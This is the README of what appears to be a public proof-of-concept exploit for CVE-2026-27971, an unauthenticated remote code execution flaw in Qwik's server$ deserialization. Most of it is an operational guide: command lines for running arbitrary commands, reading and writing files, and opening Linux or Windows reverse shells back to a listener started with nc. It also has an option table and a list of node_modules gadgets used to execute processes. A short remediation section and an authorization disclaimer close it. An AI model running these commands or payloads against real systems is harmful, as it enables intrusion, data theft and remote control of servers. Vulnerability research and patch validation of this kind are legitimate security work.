
CVE-2026-27971 qwik rce
server$ Unauthenticated RCE PoC[!WARNING] This repository contains an active remote-code-execution proof of concept. Use it only against systems you own or are explicitly authorized to test. The author assumes no responsibility for unauthorized use or damage.
A standalone Python proof of concept for CVE-2026-27971 / GHSA-p9x5-jp3h-96mm, an unauthenticated remote code execution vulnerability in the Qwik server$ RPC deserialization mechanism.
The PoC can perform an active marker probe, execute commands, read or write text files, and request a reverse shell on Linux or Windows targets. It uses only the Python standard library.
| Field | Value |
|---|
| Product | Qwik — npm package @builder.io/qwik |
| Affected versions | <= 1.19.0 |
| Patched version | 1.19.1 |
| Vulnerability | Unauthenticated remote code execution through unsafe server$ deserialization |
| Runtime condition | require() must be available at runtime |
| CWE | CWE-502 — Deserialization of Untrusted Data |
| Severity | Critical — CVSS 4.0: 9.2 |
| Vector | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
A crafted application/qwik-json request can reference a server-side module and exported symbol. Vulnerable Qwik versions may resolve an unregistered QRL through runtime require() and invoke it without authentication. This PoC attempts to reach a compatible process-execution export already present in the target's node_modules.
Operator:
server$/Qwik JSON request.Target:
@builder.io/qwik <= 1.19.0.require() is available.node_modules.node available in the service process PATH.No third-party Python packages are required.
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help
List the built-in gadgets without sending a request:
python3 exploit_combat.py --list-gadgets
Run an active marker probe and try every built-in gadget:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe
[!IMPORTANT]
--probeis not passive version detection. It attempts remote code execution and confirms it by printing a marker from the target process.
Execute a command:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"
Read a UTF-8 text file:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json
Write and verify a UTF-8 text file:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"
Request a reverse shell after starting a persistent listener:
nc -lvnp 4444
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback
Force the Windows reverse-shell payload when automatic OS detection is unsuitable:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444
The script does not start a listener. The --callback pre-check opens and closes a separate TCP connection before sending the shell payload, so use a listener that can accept more than one connection.
| Option | Description |
|---|---|
-t URL, --target URL | Exact target URL. Default: http://localhost:3000. The route is not discovered automatically. |
--probe | Actively execute a marker payload and attempt OS detection. |
-c CMD, --CMD CMD | Execute a command through Node.js child_process.execSync(). |
--read PATH | Read a UTF-8 text file using fs.readFileSync(). |
--write PATH --content TEXT | Write a text file, read it back, and compare the result. Parent directories are not created. |
--list-gadgets | Print built-in gadget names and exit without a network request. |
--lhost IP | Enable reverse-shell mode and set the callback address. |
--lport PORT | Set the callback port. Default: 4444. |
--rev-all | Send every reverse-shell variant instead of stopping after the first accepted HTTP request. |
--callback | Test outbound TCP reachability before sending a reverse-shell payload. |
--OS {auto,linux,windows} | Select the reverse-shell payload family. Default: auto. |
--gadget SPEC | Use auto, a built-in name, or a custom <module>#<symbol>. Default: cross-spawn.sync. |
--arg-style {argv,command,shell} | Argument style for a custom <module>#<symbol> gadget. |
--timeout SECONDS | Client-side HTTP timeout. Default: 30. |
--verify-ssl | Enable TLS certificate and hostname verification. Verification is disabled by default. |
Action modes are not mutually exclusive in the parser. Use one of --probe, --CMD, --read, --write, or --lhost per invocation.
| Name | Module and export | Style |
|---|---|---|
cross-spawn.sync | ./node_modules/cross-spawn/index#sync | argv |
cross-spawn.index-js | ./node_modules/cross-spawn/index.js#sync | argv |
execa.sync | ./node_modules/execa/index#sync | argv |
execa.index-js.sync | ./node_modules/execa/index.js#sync | argv |
execa.commandSync | ./node_modules/execa/index#commandSync | command |
execa.index-js.commandSync | ./node_modules/execa/index.js#commandSync | command |
node-cmd.runSync | ./node_modules/node-cmd/cmd#runSync | shell |
node-cmd.cmd-js.runSync | ./node_modules/node-cmd/cmd.js#runSync | shell |
--gadget auto tests these gadgets in the listed order. A custom gadget can be supplied as follows:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe
cross-spawn.sync, not automatic discovery. Use --gadget auto when the target dependency layout is unknown.--read expects UTF-8, and --write is not intended for binary data.--rev-all may start several processes or callbacks on the target. Use it only in an isolated lab.Upgrade @builder.io/qwik to 1.19.1 or later, update the lockfile, rebuild the application, and redeploy all server artifacts. Removing a compatible gadget alone is not a complete fix for the underlying Qwik vulnerability.
This project is provided for security research, defensive validation, and authorized testing. Do not use it against systems without explicit permission.